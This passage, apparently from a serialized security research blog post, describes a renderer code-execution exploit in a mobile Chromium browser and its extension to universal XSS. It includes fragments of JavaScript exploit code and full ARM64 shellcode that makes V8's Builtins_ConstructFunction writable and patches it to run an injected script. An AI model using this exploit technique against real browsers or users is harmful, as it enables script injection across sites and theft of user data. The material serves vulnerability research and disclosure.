,"value":138559},"193",{"type":23,"tag":41,"props":138561,"children":138562},{"style":70},[138563],{"type":28,"value":970},{"type":23,"tag":41,"props":138565,"children":138566},{"style":164},[138567],{"type":28,"value":138568},"168",{"type":23,"tag":41,"props":138570,"children":138571},{"style":70},[138572],{"type":28,"value":3506},{"type":23,"tag":41,"props":138574,"children":138575},{"class":43,"line":939},[138576,138581,138585,138589,138593,138597,138601,138605,138609,138613,138617,138621,138625,138629,138633,138638,138642,138646,138650,138654,138658,138662,138666,138670,138674,138678,138682,138686,138690,138694,138698,138702,138706,138710,138714,138718,138722,138726,138730,138734,138738,138742,138746,138750,138754,138758,138762,138766,138770,138774,138778,138782,138786,138790],{"type":23,"tag":41,"props":138577,"children":138578},{"style":164},[138579],{"type":28,"value":138580},"    255",{"type":23,"tag":41,"props":138582,"children":138583},{"style":70},[138584],{"type":28,"value":970},{"type":23,"tag":41,"props":138586,"children":138587},{"style":164},[138588],{"type":28,"value":138378},{"type":23,"tag":41,"props":138590,"children":138591},{"style":70},[138592],{"type":28,"value":970},{"type":23,"tag":41,"props":138594,"children":138595},{"style":164},[138596],{"type":28,"value":17282},{"type":23,"tag":41,"props":138598,"children":138599},{"style":70},[138600],{"type":28,"value":970},{"type":23,"tag":41,"props":138602,"children":138603},{"style":164},[138604],{"type":28,"value":138328},{"type":23,"tag":41,"props":138606,"children":138607},{"style":70},[138608],{"type":28,"value":970},{"type":23,"tag":41,"props":138610,"children":138611},{"style":164},[138612],{"type":28,"value":134263},{"type":23,"tag":41,"props":138614,"children":138615},{"style":70},[138616],{"type":28,"value":970},{"type":23,"tag":41,"props":138618,"children":138619},{"style":164},[138620],{"type":28,"value":17282},{"type":23,"tag":41,"props":138622,"children":138623},{"style":70},[138624],{"type":28,"value":970},{"type":23,"tag":41,"props":138626,"children":138627},{"style":164},[138628],{"type":28,"value":138302},{"type":23,"tag":41,"props":138630,"children":138631},{"style":70},[138632],{"type":28,"value":970},{"type":23,"tag":41,"props":138634,"children":138635},{"style":164},[138636],{"type":28,"value":138637},"214",{"type":23,"tag":41,"props":138639,"children":138640},{"style":70},[138641],{"type":28,"value":970},{"type":23,"tag":41,"props":138643,"children":138644},{"style":164},[138645],{"type":28,"value":96385},{"type":23,"tag":41,"props":138647,"children":138648},{"style":70},[138649],{"type":28,"value":970},{"type":23,"tag":41,"props":138651,"children":138652},{"style":164},[138653],{"type":28,"value":60343},{"type":23,"tag":41,"props":138655,"children":138656},{"style":70},[138657],{"type":28,"value":970},{"type":23,"tag":41,"props":138659,"children":138660},{"style":164},[138661],{"type":28,"value":17282},{"type":23,"tag":41,"props":138663,"children":138664},{"style":70},[138665],{"type":28,"value":970},{"type":23,"tag":41,"props":138667,"children":138668},{"style":164},[138669],{"type":28,"value":138328},{"type":23,"tag":41,"props":138671,"children":138672},{"style":70},[138673],{"type":28,"value":970},{"type":23,"tag":41,"props":138675,"children":138676},{"style":164},[138677],{"type":28,"value":17515},{"type":23,"tag":41,"props":138679,"children":138680},{"style":70},[138681],{"type":28,"value":970},{"type":23,"tag":41,"props":138683,"children":138684},{"style":164},[138685],{"type":28,"value":4024},{"type":23,"tag":41,"props":138687,"children":138688},{"style":70},[138689],{"type":28,"value":970},{"type":23,"tag":41,"props":138691,"children":138692},{"style":164},[138693],{"type":28,"value":4024},{"type":23,"tag":41,"props":138695,"children":138696},{"style":70},[138697],{"type":28,"value":970},{"type":23,"tag":41,"props":138699,"children":138700},{"style":164},[138701],{"type":28,"value":4024},{"type":23,"tag":41,"props":138703,"children":138704},{"style":70},[138705],{"type":28,"value":970},{"type":23,"tag":41,"props":138707,"children":138708},{"style":164},[138709],{"type":28,"value":4024},{"type":23,"tag":41,"props":138711,"children":138712},{"style":70},[138713],{"type":28,"value":970},{"type":23,"tag":41,"props":138715,"children":138716},{"style":164},[138717],{"type":28,"value":4024},{"type":23,"tag":41,"props":138719,"children":138720},{"style":70},[138721],{"type":28,"value":970},{"type":23,"tag":41,"props":138723,"children":138724},{"style":164},[138725],{"type":28,"value":4024},{"type":23,"tag":41,"props":138727,"children":138728},{"style":70},[138729],{"type":28,"value":970},{"type":23,"tag":41,"props":138731,"children":138732},{"style":164},[138733],{"type":28,"value":4024},{"type":23,"tag":41,"props":138735,"children":138736},{"style":70},[138737],{"type":28,"value":970},{"type":23,"tag":41,"props":138739,"children":138740},{"style":164},[138741],{"type":28,"value":4024},{"type":23,"tag":41,"props":138743,"children":138744},{"style":70},[138745],{"type":28,"value":970},{"type":23,"tag":41,"props":138747,"children":138748},{"style":164},[138749],{"type":28,"value":17515},{"type":23,"tag":41,"props":138751,"children":138752},{"style":70},[138753],{"type":28,"value":970},{"type":23,"tag":41,"props":138755,"children":138756},{"style":164},[138757],{"type":28,"value":4024},{"type":23,"tag":41,"props":138759,"children":138760},{"style":70},[138761],{"type":28,"value":970},{"type":23,"tag":41,"props":138763,"children":138764},{"style":164},[138765],{"type":28,"value":4024},{"type":23,"tag":41,"props":138767,"children":138768},{"style":70},[138769],{"type":28,"value":970},{"type":23,"tag":41,"props":138771,"children":138772},{"style":164},[138773],{"type":28,"value":4024},{"type":23,"tag":41,"props":138775,"children":138776},{"style":70},[138777],{"type":28,"value":970},{"type":23,"tag":41,"props":138779,"children":138780},{"style":164},[138781],{"type":28,"value":4024},{"type":23,"tag":41,"props":138783,"children":138784},{"style":70},[138785],{"type":28,"value":970},{"type":23,"tag":41,"props":138787,"children":138788},{"style":164},[138789],{"type":28,"value":4024},{"type":23,"tag":41,"props":138791,"children":138792},{"style":70},[138793],{"type":28,"value":3506},{"type":23,"tag":41,"props":138795,"children":138796},{"class":43,"line":947},[138797,138801,138805,138809,138813,138817,138821,138825,138829,138833,138837,138842,138846,138851,138855,138860,138864,138868],{"type":23,"tag":41,"props":138798,"children":138799},{"style":164},[138800],{"type":28,"value":133915},{"type":23,"tag":41,"props":138802,"children":138803},{"style":70},[138804],{"type":28,"value":970},{"type":23,"tag":41,"props":138806,"children":138807},{"style":164},[138808],{"type":28,"value":4024},{"type":23,"tag":41,"props":138810,"children":138811},{"style":70},[138812],{"type":28,"value":970},{"type":23,"tag":41,"props":138814,"children":138815},{"style":164},[138816],{"type":28,"value":4024},{"type":23,"tag":41,"props":138818,"children":138819},{"style":70},[138820],{"type":28,"value":970},{"type":23,"tag":41,"props":138822,"children":138823},{"style":164},[138824],{"type":28,"value":4024},{"type":23,"tag":41,"props":138826,"children":138827},{"style":70},[138828],{"type":28,"value":970},{"type":23,"tag":41,"props":138830,"children":138831},{"style":164},[138832],{"type":28,"value":4024},{"type":23,"tag":41,"props":138834,"children":138835},{"style":70},[138836],{"type":28,"value":970},{"type":23,"tag":41,"props":138838,"children":138839},{"style":164},[138840],{"type":28,"value":138841},"92",{"type":23,"tag":41,"props":138843,"children":138844},{"style":70},[138845],{"type":28,"value":970},{"type":23,"tag":41,"props":138847,"children":138848},{"style":164},[138849],{"type":28,"value":138850},"50",{"type":23,"tag":41,"props":138852,"children":138853},{"style":70},[138854],{"type":28,"value":970},{"type":23,"tag":41,"props":138856,"children":138857},{"style":164},[138858],{"type":28,"value":138859},"162",{"type":23,"tag":41,"props":138861,"children":138862},{"style":70},[138863],{"type":28,"value":970},{"type":23,"tag":41,"props":138865,"children":138866},{"style":164},[138867],{"type":28,"value":4024},{"type":23,"tag":41,"props":138869,"children":138870},{"style":70},[138871],{"type":28,"value":3506},{"type":23,"tag":41,"props":138873,"children":138874},{"class":43,"line":985},[138875],{"type":23,"tag":41,"props":138876,"children":138877},{"style":70},[138878],{"type":28,"value":134202},{"type":23,"tag":41,"props":138880,"children":138881},{"class":43,"line":1058},[138882,138886,138890,138894,138898,138902,138906,138910,138914,138918,138922],{"type":23,"tag":41,"props":138883,"children":138884},{"style":64},[138885],{"type":28,"value":7855},{"type":23,"tag":41,"props":138887,"children":138888},{"style":858},[138889],{"type":28,"value":135655},{"type":23,"tag":41,"props":138891,"children":138892},{"style":170},[138893],{"type":28,"value":3017},{"type":23,"tag":41,"props":138895,"children":138896},{"style":114},[138897],{"type":28,"value":135664},{"type":23,"tag":41,"props":138899,"children":138900},{"style":70},[138901],{"type":28,"value":1737},{"type":23,"tag":41,"props":138903,"children":138904},{"style":858},[138905],{"type":28,"value":133533},{"type":23,"tag":41,"props":138907,"children":138908},{"style":70},[138909],{"type":28,"value":970},{"type":23,"tag":41,"props":138911,"children":138912},{"style":858},[138913],{"type":28,"value":124860},{"type":23,"tag":41,"props":138915,"children":138916},{"style":70},[138917],{"type":28,"value":706},{"type":23,"tag":41,"props":138919,"children":138920},{"style":858},[138921],{"type":28,"value":124860},{"type":23,"tag":41,"props":138923,"children":138924},{"style":70},[138925],{"type":28,"value":3825},{"type":23,"tag":41,"props":138927,"children":138928},{"class":43,"line":1084},[138929,138933,138937,138941,138945,138949,138953,138957,138961,138965],{"type":23,"tag":41,"props":138930,"children":138931},{"style":858},[138932],{"type":28,"value":135700},{"type":23,"tag":41,"props":138934,"children":138935},{"style":170},[138936],{"type":28,"value":3017},{"type":23,"tag":41,"props":138938,"children":138939},{"style":70},[138940],{"type":28,"value":142},{"type":23,"tag":41,"props":138942,"children":138943},{"style":58},[138944],{"type":28,"value":32909},{"type":23,"tag":41,"props":138946,"children":138947},{"style":858},[138948],{"type":28,"value":135655},{"type":23,"tag":41,"props":138950,"children":138951},{"style":70},[138952],{"type":28,"value":706},{"type":23,"tag":41,"props":138954,"children":138955},{"style":114},[138956],{"type":28,"value":57561},{"type":23,"tag":41,"props":138958,"children":138959},{"style":70},[138960],{"type":28,"value":135729},{"type":23,"tag":41,"props":138962,"children":138963},{"style":858},[138964],{"type":28,"value":1652},{"type":23,"tag":41,"props":138966,"children":138967},{"style":70},[138968],{"type":28,"value":183},{"type":23,"tag":41,"props":138970,"children":138971},{"class":43,"line":1102},[138972,138976,138980,138984,138988,138993,138997,139001],{"type":23,"tag":41,"props":138973,"children":138974},{"style":858},[138975],{"type":28,"value":101662},{"type":23,"tag":41,"props":138977,"children":138978},{"style":70},[138979],{"type":28,"value":706},{"type":23,"tag":41,"props":138981,"children":138982},{"style":114},[138983],{"type":28,"value":101671},{"type":23,"tag":41,"props":138985,"children":138986},{"style":70},[138987],{"type":28,"value":1737},{"type":23,"tag":41,"props":138989,"children":138990},{"style":735},[138991],{"type":28,"value":138992},"'DeserializeWasmModule result: '",{"type":23,"tag":41,"props":138994,"children":138995},{"style":170},[138996],{"type":28,"value":8901},{"type":23,"tag":41,"props":138998,"children":138999},{"style":858},[139000],{"type":28,"value":9157},{"type":23,"tag":41,"props":139002,"children":139003},{"style":70},[139004],{"type":28,"value":3825},{"type":23,"tag":41,"props":139006,"children":139007},{"class":43,"line":1110},[139008,139012,139016,139020,139024,139028,139032,139036,139040,139044],{"type":23,"tag":41,"props":139009,"children":139010},{"style":64},[139011],{"type":28,"value":36183},{"type":23,"tag":41,"props":139013,"children":139014},{"style":858},[139015],{"type":28,"value":135749},{"type":23,"tag":41,"props":139017,"children":139018},{"style":170},[139019],{"type":28,"value":3017},{"type":23,"tag":41,"props":139021,"children":139022},{"style":64},[139023],{"type":28,"value":31927},{"type":23,"tag":41,"props":139025,"children":139026},{"style":858},[139027],{"type":28,"value":133516},{"type":23,"tag":41,"props":139029,"children":139030},{"style":70},[139031],{"type":28,"value":706},{"type":23,"tag":41,"props":139033,"children":139034},{"style":114},[139035],{"type":28,"value":133570},{"type":23,"tag":41,"props":139037,"children":139038},{"style":70},[139039],{"type":28,"value":1737},{"type":23,"tag":41,"props":139041,"children":139042},{"style":858},[139043],{"type":28,"value":9079},{"type":23,"tag":41,"props":139045,"children":139046},{"style":70},[139047],{"type":28,"value":3825},{"type":23,"tag":41,"props":139049,"children":139050},{"class":43,"line":1118},[139051,139055,139059,139063,139067,139071,139075,139079,139083],{"type":23,"tag":41,"props":139052,"children":139053},{"style":64},[139054],{"type":28,"value":36183},{"type":23,"tag":41,"props":139056,"children":139057},{"style":858},[139058],{"type":28,"value":32964},{"type":23,"tag":41,"props":139060,"children":139061},{"style":170},[139062],{"type":28,"value":3017},{"type":23,"tag":41,"props":139064,"children":139065},{"style":858},[139066],{"type":28,"value":135749},{"type":23,"tag":41,"props":139068,"children":139069},{"style":70},[139070],{"type":28,"value":706},{"type":23,"tag":41,"props":139072,"children":139073},{"style":858},[139074],{"type":28,"value":37881},{"type":23,"tag":41,"props":139076,"children":139077},{"style":70},[139078],{"type":28,"value":706},{"type":23,"tag":41,"props":139080,"children":139081},{"style":858},[139082],{"type":28,"value":133619},{"type":23,"tag":41,"props":139084,"children":139085},{"style":70},[139086],{"type":28,"value":183},{"type":23,"tag":41,"props":139088,"children":139089},{"class":43,"line":1137},[139090,139094,139098,139102,139106,139110],{"type":23,"tag":41,"props":139091,"children":139092},{"style":858},[139093],{"type":28,"value":101662},{"type":23,"tag":41,"props":139095,"children":139096},{"style":70},[139097],{"type":28,"value":706},{"type":23,"tag":41,"props":139099,"children":139100},{"style":114},[139101],{"type":28,"value":101671},{"type":23,"tag":41,"props":139103,"children":139104},{"style":70},[139105],{"type":28,"value":1737},{"type":23,"tag":41,"props":139107,"children":139108},{"style":858},[139109],{"type":28,"value":33078},{"type":23,"tag":41,"props":139111,"children":139112},{"style":70},[139113],{"type":28,"value":3825},{"type":23,"tag":41,"props":139115,"children":139116},{"class":43,"line":1163},[139117],{"type":23,"tag":41,"props":139118,"children":139119},{"style":70},[139120],{"type":28,"value":101703},{"type":23,"tag":24,"props":139122,"children":139123},{},[139124],{"type":28,"value":139125},"And this time, it works as expected:",{"type":23,"tag":24,"props":139127,"children":139128},{},[139129],{"type":23,"tag":3918,"props":139130,"children":139133},{"alt":139131,"src":139132},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":23,"tag":546,"props":139135,"children":139137},{"id":139136},"achieving-universal-xss",[139138],{"type":28,"value":139139},"Achieving Universal XSS",{"type":23,"tag":24,"props":139141,"children":139142},{},[139143,139145,139151,139153,139160],{"type":28,"value":139144},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":23,"tag":458,"props":139146,"children":139149},{"href":139147,"rel":139148},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[462],[139150],{"type":28,"value":70327},{"type":28,"value":139152}," from Tencent Security and ",{"type":23,"tag":458,"props":139154,"children":139157},{"href":139155,"rel":139156},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[462],[139158],{"type":28,"value":139159},"research article",{"type":28,"value":139161}," from InterruptLabs.",{"type":23,"tag":24,"props":139163,"children":139164},{},[139165,139167,139174],{"type":28,"value":139166},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":23,"tag":458,"props":139168,"children":139171},{"href":139169,"rel":139170},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[462],[139172],{"type":28,"value":139173},"weaker version",{"type":28,"value":139175}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":23,"tag":24,"props":139177,"children":139178},{},[139179,139181,139187],{"type":28,"value":139180},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":23,"tag":37,"props":139182,"children":139184},{"className":139183},[],[139185],{"type":28,"value":139186},"Builtins_ConstructFunction",{"type":28,"value":139188},", making it a natural target.",{"type":23,"tag":24,"props":139190,"children":139191},{},[139192,139194,139199],{"type":28,"value":139193},"Our goal is for ",{"type":23,"tag":37,"props":139195,"children":139197},{"className":139196},[],[139198],{"type":28,"value":139186},{"type":28,"value":139200}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":23,"tag":417,"props":139202,"children":139203},{},[139204,139209,139219],{"type":23,"tag":421,"props":139205,"children":139206},{},[139207],{"type":28,"value":139208},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":23,"tag":421,"props":139210,"children":139211},{},[139212,139214],{"type":28,"value":139213},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":23,"tag":37,"props":139215,"children":139217},{"className":139216},[],[139218],{"type":28,"value":139186},{"type":23,"tag":421,"props":139220,"children":139221},{},[139222,139224,139229],{"type":28,"value":139223},"The mmap-ed shellcode then returns to the beginning of ",{"type":23,"tag":37,"props":139225,"children":139227},{"className":139226},[],[139228],{"type":28,"value":139186},{"type":28,"value":139230},", which now proceeds normally",{"type":23,"tag":24,"props":139232,"children":139233},{},[139234],{"type":28,"value":139235},"The ARM64 shellcode implementing this looks as follows:",{"type":23,"tag":31,"props":139237,"children":139241},{"code":139238,"language":139239,"meta":7,"className":139240,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[139242],{"type":23,"tag":37,"props":139243,"children":139244},{"__ignoreMap":7},[139245,139253,139261,139269,139277,139284,139292,139300,139308,139316,139323,139331,139339,139347,139355,139363,139370,139378,139386,139394,139402,139410,139418,139425,139433,139440,139448,139456,139464,139471,139479,139487,139495,139503,139510,139517,139524,139531,139539,139547,139555,139562,139570,139578,139585,139593,139601,139609,139616,139624,139632,139640,139648,139655,139662,139670],{"type":23,"tag":41,"props":139246,"children":139247},{"class":43,"line":44},[139248],{"type":23,"tag":41,"props":139249,"children":139250},{},[139251],{"type":28,"value":139252},"// get return addr to x0\n",{"type":23,"tag":41,"props":139254,"children":139255},{"class":43,"line":54},[139256],{"type":23,"tag":41,"props":139257,"children":139258},{},[139259],{"type":28,"value":139260},"ldr x0, [sp, #0x18]\n",{"type":23,"tag":41,"props":139262,"children":139263},{"class":43,"line":76},[139264],{"type":23,"tag":41,"props":139265,"children":139266},{},[139267],{"type":28,"value":139268},"// strip pac signature from return address\n",{"type":23,"tag":41,"props":139270,"children":139271},{"class":43,"line":85},[139272],{"type":23,"tag":41,"props":139273,"children":139274},{},[139275],{"type":28,"value":139276},".arch armv8.3-a; xpaci x0\n",{"type":23,"tag":41,"props":139278,"children":139279},{"class":43,"line":105},[139280],{"type":23,"tag":41,"props":139281,"children":139282},{"emptyLinePlaceholder":18},[139283],{"type":28,"value":82},{"type":23,"tag":41,"props":139285,"children":139286},{"class":43,"line":155},[139287],{"type":23,"tag":41,"props":139288,"children":139289},{},[139290],{"type":28,"value":139291},"// store x5 = Builtins_ConstructFunction\n",{"type":23,"tag":41,"props":139293,"children":139294},{"class":43,"line":186},[139295],{"type":23,"tag":41,"props":139296,"children":139297},{},[139298],{"type":28,"value":139299},"movz x1, #0x610c\n",{"type":23,"tag":41,"props":139301,"children":139302},{"class":43,"line":195},[139303],{"type":23,"tag":41,"props":139304,"children":139305},{},[139306],{"type":28,"value":139307},"sub x0, x0, x1\n",{"type":23,"tag":41,"props":139309,"children":139310},{"class":43,"line":905},[139311],{"type":23,"tag":41,"props":139312,"children":139313},{},[139314],{"type":28,"value":139315},"mov x5, x0\n",{"type":23,"tag":41,"props":139317,"children":139318},{"class":43,"line":922},[139319],{"type":23,"tag":41,"props":139320,"children":139321},{"emptyLinePlaceholder":18},[139322],{"type":28,"value":82},{"type":23,"tag":41,"props":139324,"children":139325},{"class":43,"line":930},[139326],{"type":23,"tag":41,"props":139327,"children":139328},{},[139329],{"type":28,"value":139330},"// store x4 = page aligned ConstructFunction\n",{"type":23,"tag":41,"props":139332,"children":139333},{"class":43,"line":939},[139334],{"type":23,"tag":41,"props":139335,"children":139336},{},[139337],{"type":28,"value":139338},"movz x1, #0xf000\n",{"type":23,"tag":41,"props":139340,"children":139341},{"class":43,"line":947},[139342],{"type":23,"tag":41,"props":139343,"children":139344},{},[139345],{"type":28,"value":139346},"movk x1, #0xffff, lsl #16\n",{"type":23,"tag":41,"props":139348,"children":139349},{"class":43,"line":985},[139350],{"type":23,"tag":41,"props":139351,"children":139352},{},[139353],{"type":28,"value":139354},"movk x1, #0xffff, lsl #32\n",{"type":23,"tag":41,"props":139356,"children":139357},{"class":43,"line":1058},[139358],{"type":23,"tag":41,"props":139359,"children":139360},{},[139361],{"type":28,"value":139362},"and x4, x5, x1\n",{"type":23,"tag":41,"props":139364,"children":139365},{"class":43,"line":1084},[139366],{"type":23,"tag":41,"props":139367,"children":139368},{"emptyLinePlaceholder":18},[139369],{"type":28,"value":82},{"type":23,"tag":41,"props":139371,"children":139372},{"class":43,"line":1102},[139373],{"type":23,"tag":41,"props":139374,"children":139375},{},[139376],{"type":28,"value":139377},"// mprotect page aligned ConstructFunction RWX\n",{"type":23,"tag":41,"props":139379,"children":139380},{"class":43,"line":1110},[139381],{"type":23,"tag":41,"props":139382,"children":139383},{},[139384],{"type":28,"value":139385},"mov x0, x4\n",{"type":23,"tag":41,"props":139387,"children":139388},{"class":43,"line":1118},[139389],{"type":23,"tag":41,"props":139390,"children":139391},{},[139392],{"type":28,"value":139393},"mov x1, #0x2000\n",{"type":23,"tag":41,"props":139395,"children":139396},{"class":43,"line":1137},[139397],{"type":23,"tag":41,"props":139398,"children":139399},{},[139400],{"type":28,"value":139401},"mov x2, #0x7\n",{"type":23,"tag":41,"props":139403,"children":139404},{"class":43,"line":1163},[139405],{"type":23,"tag":41,"props":139406,"children":139407},{},[139408],{"type":28,"value":139409},"mov x8, #226\n",{"type":23,"tag":41,"props":139411,"children":139412},{"class":43,"line":1188},[139413],{"type":23,"tag":41,"props":139414,"children":139415},{},[139416],{"type":28,"value":139417},"svc #0\n",{"type":23,"tag":41,"props":139419,"children":139420},{"class":43,"line":1979},[139421],{"type":23,"tag":41,"props":139422,"children":139423},{"emptyLinePlaceholder":18},[139424],{"type":28,"value":82},{"type":23,"tag":41,"props":139426,"children":139427},{"class":43,"line":2002},[139428],{"type":23,"tag":41,"props":139429,"children":139430},{},[139431],{"type":28,"value":139432},"mov x6, x5\n",{"type":23,"tag":41,"props":139434,"children":139435},{"class":43,"line":3835},[139436],{"type":23,"tag":41,"props":139437,"children":139438},{"emptyLinePlaceholder":18},[139439],{"type":28,"value":82},{"type":23,"tag":41,"props":139441,"children":139442},{"class":43,"line":3895},[139443],{"type":23,"tag":41,"props":139444,"children":139445},{},[139446],{"type":28,"value":139447},"// mmap RWX for jump dest (uxss_sc)\n",{"type":23,"tag":41,"props":139449,"children":139450},{"class":43,"line":9044},[139451],{"type":23,"tag":41,"props":139452,"children":139453},{},[139454],{"type":28,"value":139455},"mov x0, #0\n",{"type":23,"tag":41,"props":139457,"children":139458},{"class":43,"line":9061},[139459],{"type":23,"tag":41,"props":139460,"children":139461},{},[139462],{"type":28,"value":139463},"mov x1, #0x1000\n",{"type":23,"tag":41,"props":139465,"children":139466},{"class":43,"line":9106},[139467],{"type":23,"tag":41,"props":139468,"children":139469},{},[139470],{"type":28,"value":139401},{"type":23,"tag":41,"props":139472,"children":139473},{"class":43,"line":9212},[139474],{"type":23,"tag":41,"props":139475,"children":139476},{},[139477],{"type":28,"value":139478},"mov x3, #34\n",{"type":23,"tag":41,"props":139480,"children":139481},{"class":43,"line":23496},[139482],{"type":23,"tag":41,"props":139483,"children":139484},{},[139485],{"type":28,"value":139486},"mov x4, #-1\n",{"type":23,"tag":41,"props":139488,"children":139489},{"class":43,"line":23531},[139490],{"type":23,"tag":41,"props":139491,"children":139492},{},[139493],{"type":28,"value":139494},"mov x5, #0\n",{"type":23,"tag":41,"props":139496,"children":139497},{"class":43,"line":23539},[139498],{"type":23,"tag":41,"props":139499,"children":139500},{},[139501],{"type":28,"value":139502},"mov x8, #222\n",{"type":23,"tag":41,"props":139504,"children":139505},{"class":43,"line":23547},[139506],{"type":23,"tag":41,"props":139507,"children":139508},{},[139509],{"type":28,"value":139417},{"type":23,"tag":41,"props":139511,"children":139512},{"class":43,"line":23556},[139513],{"type":23,"tag":41,"props":139514,"children":139515},{"emptyLinePlaceholder":18},[139516],{"type":28,"value":82},{"type":23,"tag":41,"props":139518,"children":139519},{"class":43,"line":23598},[139520],{"type":23,"tag":41,"props":139521,"children":139522},{},[139523],{"type":28,"value":139315},{"type":23,"tag":41,"props":139525,"children":139526},{"class":43,"line":23631},[139527],{"type":23,"tag":41,"props":139528,"children":139529},{"emptyLinePlaceholder":18},[139530],{"type":28,"value":82},{"type":23,"tag":41,"props":139532,"children":139533},{"class":43,"line":23639},[139534],{"type":23,"tag":41,"props":139535,"children":139536},{},[139537],{"type":28,"value":139538},"// at this point:\n",{"type":23,"tag":41,"props":139540,"children":139541},{"class":43,"line":23647},[139542],{"type":23,"tag":41,"props":139543,"children":139544},{},[139545],{"type":28,"value":139546},"// x6 = Builtins_ConstructFunction\n",{"type":23,"tag":41,"props":139548,"children":139549},{"class":43,"line":23656},[139550],{"type":23,"tag":41,"props":139551,"children":139552},{},[139553],{"type":28,"value":139554},"// x5 = mmap page for uxss_sc\n",{"type":23,"tag":41,"props":139556,"children":139557},{"class":43,"line":23732},[139558],{"type":23,"tag":41,"props":139559,"children":139560},{"emptyLinePlaceholder":18},[139561],{"type":28,"value":82},{"type":23,"tag":41,"props":139563,"children":139564},{"class":43,"line":23765},[139565],{"type":23,"tag":41,"props":139566,"children":139567},{},[139568],{"type":28,"value":139569},"// write uxss_sc to mmaped rwx page\n",{"type":23,"tag":41,"props":139571,"children":139572},{"class":43,"line":23773},[139573],{"type":23,"tag":41,"props":139574,"children":139575},{},[139576],{"type":28,"value":139577},"{write_sc(uxss_sc, \"x5\")}\n",{"type":23,"tag":41,"props":139579,"children":139580},{"class":43,"line":23781},[139581],{"type":23,"tag":41,"props":139582,"children":139583},{"emptyLinePlaceholder":18},[139584],{"type":28,"value":82},{"type":23,"tag":41,"props":139586,"children":139587},{"class":43,"line":23818},[139588],{"type":23,"tag":41,"props":139589,"children":139590},{},[139591],{"type":28,"value":139592},"// wipe from cache\n",{"type":23,"tag":41,"props":139594,"children":139595},{"class":43,"line":23831},[139596],{"type":23,"tag":41,"props":139597,"children":139598},{},[139599],{"type":28,"value":139600},"mov x0, x5\n",{"type":23,"tag":41,"props":139602,"children":139603},{"class":43,"line":23844},[139604],{"type":23,"tag":41,"props":139605,"children":139606},{},[139607],{"type":28,"value":139608},"{WIPE_CACHE}\n",{"type":23,"tag":41,"props":139610,"children":139611},{"class":43,"line":23857},[139612],{"type":23,"tag":41,"props":139613,"children":139614},{"emptyLinePlaceholder":18},[139615],{"type":28,"value":82},{"type":23,"tag":41,"props":139617,"children":139618},{"class":43,"line":23911},[139619],{"type":23,"tag":41,"props":139620,"children":139621},{},[139622],{"type":28,"value":139623},"// patch Builtins_ConstructFunction\n",{"type":23,"tag":41,"props":139625,"children":139626},{"class":43,"line":23920},[139627],{"type":23,"tag":41,"props":139628,"children":139629},{},[139630],{"type":28,"value":139631},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":23,"tag":41,"props":139633,"children":139634},{"class":43,"line":32275},[139635],{"type":23,"tag":41,"props":139636,"children":139637},{},[139638],{"type":28,"value":139639},"// and add a pointer to uxss_sc just above new instructions\n",{"type":23,"tag":41,"props":139641,"children":139642},{"class":43,"line":32296},[139643],{"type":23,"tag":41,"props":139644,"children":139645},{},[139646],{"type":28,"value":139647},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":23,"tag":41,"props":139649,"children":139650},{"class":43,"line":80946},[139651],{"type":23,"tag":41,"props":139652,"children":139653},{"emptyLinePlaceholder":18},[139654],{"type":28,"value":82},{"type":23,"tag":41,"props":139656,"children":139657},{"class":43,"line":80959},[139658],{"type":23,"tag":41,"props":139659,"children":139660},{},[139661],{"type":28,"value":139592},{"type":23,"tag":41,"props":139663,"children":139664},{"class":43,"line":80967},[139665],{"type":23,"tag":41,"props":139666,"children":139667},{},[139668],{"type":28,"value":139669},"mov x0, x6\n",{"type":23,"tag":41,"props":139671,"children":139672},{"class":43,"line":80975},[139673],{"type":23,"tag":41,"props":139674,"children":139675},{},[139676],{"type":28,"value":139608},{"type":23,"tag":24,"props":139678,"children":139679},{},[139680,139682,139688,139690,139695,139697,139703],{"type":28,"value":139681},"In the snippet above, ",{"type":23,"tag":37,"props":139683,"children":139685},{"className":139684},[],[139686],{"type":28,"value":139687},"new_compile_instrs",{"type":28,"value":139689}," refers to the instructions written to the beginning of 